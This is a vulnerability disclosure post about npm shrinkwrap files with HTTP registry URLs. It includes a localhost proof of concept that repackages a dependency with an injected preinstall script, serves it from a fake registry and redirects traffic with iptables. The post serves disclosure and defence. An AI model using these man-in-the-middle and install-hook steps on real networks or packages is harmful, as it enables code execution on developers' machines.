If you install an npm package (or any packages it may depend on) that has a shrinkwrap file (
npm-shrinkwrap.json) with a HTTP registry URL, a local network attacker (MITM) can execute malicious code on your machine.
npm shrinkwrap provides a way for package maintainers to lock down the packages they depend on. When you run
npm shrinkwrap, npm creates a
npm-shrinkwrap.json file that contains all the information about the locked-down dependencies. When someone installs your package, npm will fetch dependencies based on this shrinkwrap file and not the
package.json. (Assuming you packaged up the shrinkwrap file before publishing.) This is great! You want to do this in production!
When the shrinkwrap file is generated, the URLs of the registries (usually
https://registry.npmjs.org) from where the packages were fetched are saved alongside the module names and versions. For example, here is a dependency that is in npm's shrinkwrap file at the time of this writing:
You should always make sure that the resolved URLs are HTTPS after running
npm shrinkwrap. Unfortunately, people don't always do this and sometimes these URLs are HTTP. For example, npm's shrinkwrap at the time of this writing has the following dependency:
"from": "are-we-there-yet@>=1.1.2 <1.2.0",
The actual npm package that is in the npmregistry doesn’t contain the shrinkwrap — so if you install npm via
npm i npm) you're okay. But, if you clone the github repo and run
npm install, on the other hand, you're not. More broadly, if you npm install any package that has an HTTP resolved URL, a network attacker can execute arbitrary code on your box.
Specifically, when fetching a package (e.g.,
are-we-there-yet) over HTTP an attacker that can carry out a man-in-the-middle (MITM) attack can simply reply with a package of their own choosing which, may, for example, contain a malicious
preinstall script that npm will happily run.
As long as the attacker has access to the same local network as you (e.g., you are in the same coffee shop or they are your ISP), they can usually alter your HTTP traffic. FireSheep was a great example of how to do this — it made it easy for people to mess with others’ browsing experience by hijacking sessions. This is a bit worse since it allows an attacker to run code on your machine. Below is a proof-of-concept attack that demonstrates this.
We have notified a number of organizations and users that have packages on npm and github with such HTTP URLs. We cloned the npm registry and various github projects to find this information. This, unfortunately, means that there may be packages out there that we did not catch and may put you at risk. We describe some mitigation techniques below.
Below is a PoC attack using the npm github repo, running strictly on localhost. We describe both the victim and attacker steps.
At the time of this writing, the HEAD points to the
latest branch (4d0473c12e1f1448f3ca28f157c9023e2682df9d).
npm-shrinkwrap.json file has a module that will be fetched via HTTP:
This is the package we’re going to modify and serve from our MITM “registry”.
2. Attacker opens a new shell and set up the MITM registry-like server:
mkdir -p public/are-we-there-yet/-
tar xzvf are-we-there-yet-1.1.2.tgz
# modify package/package.json to add new preisnstall script. For example:
# "preinstall": "echo w00t > /tmp/whodis",
tar czvf are-we-there-yet-1.1.2.tgz package
npm i static-server ./node_modules/.bin/static-server -p8080 public
3. Attacker forwards packets destined to
registry.npmjs.org:80 to our MITM local server running on port 8080. For the purpose of this example, we forward any traffic to port 80 to localhost:8080 with iptables:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:8080
4. Victim installs npm in the
This will have executed our
preinstall script. You can just as easily modify the code and carry out the attack when the module is loaded, just in case the victim was installing packages in a sandbox to prevent install-time attacks.
5. Attacker verifies
preinstall script and cleans up:
sudo iptables -t nat -D OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:8080
Anybody that runs
npm install for a package that has
npm-shrinkwrap.json with HTTP URLs. We have already identified and notified a number of node organizations and users that are affected by this. We have also notified npm of this and recommend that you read their blog post on this.
Before you give npm a hard time about this, please be aware that you may be using other package managers that only use HTTP and can likely be leveraged more easily.
Probably not very likely. The number of packages that have HTTP registry URLs on npm seems to quite low (~0.03% of ~360K packages). (That said, some of these have few thousand downloads per month.) Your attacker must also be local to MITM your network traffic. (Though there are lots of Node developers in SF coffee shops and bootcamps.)
If your package contains a shrinkwrap file with HTTP URLs please change them to HTTPS and follow the suggestions in npm’s blog post on this vulnerability. You may be putting your users at risk.
When we reported this to npm, Inc. we recommended that they patch npm to automatically upgrade HTTP URLs to HTTPS for origins they control (e.g., registry.npmjs.org). Unfortunately, npm decided against this because it may break some of their users’ workflows. We respect that they have business reasons to not silently and automatically upgrade URLs. But, this is at the cost of putting some users at risk.
One can argue that the developer that left HTTP URLs in a shrinkwrap file is actually the one putting their users at risk. Unfortunately, it seems easy enough to forget to check shrinkwrap files (npm’s shrinkwrap file containing an HTTP URL is some indication of this). And, as a user, you have no idea when you
npm install <some-package> whether or not npm will fetch its dependencies over HTTP. Sure you can download the tarball and inspect it (whether or not it has a shrinkwrap file and whether it is vulnerable), but we suspect you won't do that.
So what are reasonable options moving forward?
--allow-unsafe-downloadsflag may be yet another option.
There are likely others worth considering; we suspect pull requests may be welcome.
These changes are not suggestions for developers’ shrinkwrap files. While the problem does disappear if all developers upgrade their shrinkwrap URLs to HTTPS, this is not a reliably safe solution; malicious package authors can still get away with attacks using seemingly benign shrinkwrap files. Furthermore, if you simply re-run npm shrinkwrap right now, it’s not necessarily the case that all URLs will be HTTPS — npm defaults to URLs from the cache even if they’re HTTP. This is a pretty good excuse if you want to leave a backdoor with plausible deniability (It’s much easier to attribute an attack when the attack source is in the package itself as opposed to injected via MITM.). Until users can disallow code fetching via HTTP (or otherwise have authenticity for what they download), they are still at risk.
There isn’t one. We think there should be, so if your organization is willing to request one (maybe because it was affected by this) please get in touch with us.
We firstly emailed npm about this issue and then — roughly a week later — emailed the package maintainers and authors for packages we downloaded them from npm and github. Our intent was to give people enough time to patch their shrinkwrap files. We requested that people not disseminate the then private (a la short capability) URL to this post:
Full disclosure: Deian has a startup that sells a Node.js security product to defend against untrusted code.